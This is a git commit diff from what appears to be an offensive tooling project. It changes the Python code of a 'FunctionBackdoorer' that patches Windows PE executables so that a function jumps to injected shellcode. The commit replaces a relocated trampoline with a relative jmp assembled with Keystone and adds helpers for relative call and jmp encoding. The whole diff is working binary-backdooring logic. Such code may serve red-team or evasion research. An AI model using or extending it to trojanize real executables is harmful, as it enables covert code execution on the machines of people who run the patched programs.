feature: remove addingrelocation by making function hijack a relative jmp

This commit is contained in:
Dobin
2024-05-05 12:53:31 +01:00
parent 3cc232886f
commit 8ae738b841
3 changed files with 19 additions and 17 deletions
+6 -10
View File
@@ -8,11 +8,13 @@ import pefile
import capstone
import keystone
import logging
from intervaltree import *
from utils import hexdump
from pe.superpe import SuperPe
from model.defs import *
from intervaltree import *
from pe.pehelper import assemble_relative_call, assemble_relative_jmp
logger = logging.getLogger("DerBackdoorer")
@@ -40,10 +42,11 @@ class FunctionBackdoorer:
if addr is None:
raise Exception("Couldn't find a suitable instruction to backdoor")
compiled_trampoline, text_trampoline, trampoline_reloc_offset = self.get_trampoline(addr, shellcode_addr)
compiled_trampoline = assemble_relative_jmp(addr, shellcode_addr)
logger.info("--[ Backdoor 0x{:X}: {}".format(
addr, text_trampoline))
addr, compiled_trampoline.hex()))
# Check for overlap
it = IntervalTree()
it.addi(addr, addr+len(compiled_trampoline))
if it.overlap(shellcode_addr, shellcode_addr+shellcode_len):
@@ -55,13 +58,6 @@ class FunctionBackdoorer:
# write
self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline))
# relocs
relocs = (
addr + trampoline_reloc_offset,
)
pageRva = 4096 * int((addr + trampoline_reloc_offset) / 4096)
self.superpe.addImageBaseRelocations(pageRva, relocs)
def find_suitable_instruction_addr(self, startOffset, length=256):
"""Find a instruction to backdoor. Recursively."""
+11 -5
View File
@@ -77,14 +77,12 @@ def assemble_lea(current_address: int, destination_address: int, reg: str) -> by
machine_code = bytes(encoding)
return machine_code
def assemble_and_disassemble_jump(current_address: int, destination_address: int) -> bytes:
#logger.info(" Make jmp from 0x{:X} to 0x{:X}".format(
# current_address, destination_address
#))
def assemble_relative_call(current_address: int, destination_address: int) -> bytes:
# Calculate the relative offset
# For a near jump, the instruction length is typically 5 bytes (E9 xx xx xx xx)
offset = destination_address - current_address
# Assemble the jump instruction using Keystone
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, _ = ks.asm(f"call qword ptr ds:[{offset}]")
@@ -98,6 +96,14 @@ def assemble_and_disassemble_jump(current_address: int, destination_address: int
return machine_code
def assemble_relative_jmp(current_address: int, destination_address: int) -> bytes:
offset = destination_address - current_address
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, _ = ks.asm(f"jmp {offset}")
machine_code = bytes(encoding)
return machine_code
## Utils
def remove_trailing_null_bytes(data: bytes) -> bytes: